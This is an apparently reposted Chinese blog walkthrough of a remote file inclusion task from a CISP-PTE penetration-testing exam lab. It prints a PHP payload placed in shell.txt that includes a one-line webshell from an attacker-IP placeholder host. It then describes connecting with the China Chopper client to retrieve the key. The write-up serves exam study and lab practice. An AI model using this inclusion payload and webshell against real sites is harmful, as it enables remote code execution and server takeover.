cisp-pte靶场通关思路分享----远程文件包含篇


远程文件包含虽然没有弄到靶场,但是备考学习的时候不能不重视,毕竟谁也不知道,即将面临的考试碰到的是什么样的题型。可以参考下网上公开分享的资料。

题目是这样的:

不管啥url后面都给你加了个.txt,想到应该是用远程文件包含做

 

 

 

 

这里需要用到的知识就是利用python可以轻易在本地开一个服务器:如果有不知道怎么开的可以参考下面这里   

 点击这里

在服务器所在的目录下写一个shell.txt,内容如下

<?php echo(“hi”); Include(“http://<攻击机ip>:<攻击机开的端口>/wen.php”); echo(“bye”); ?>,其中wen.php为一个一句话木马。

 

 

 

 

 

 

访问:page=http://<攻击机ip>:<攻击机开的端口>/shell,即可看到shell.txt已经被php解析了,用菜刀链接即可获得key。

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM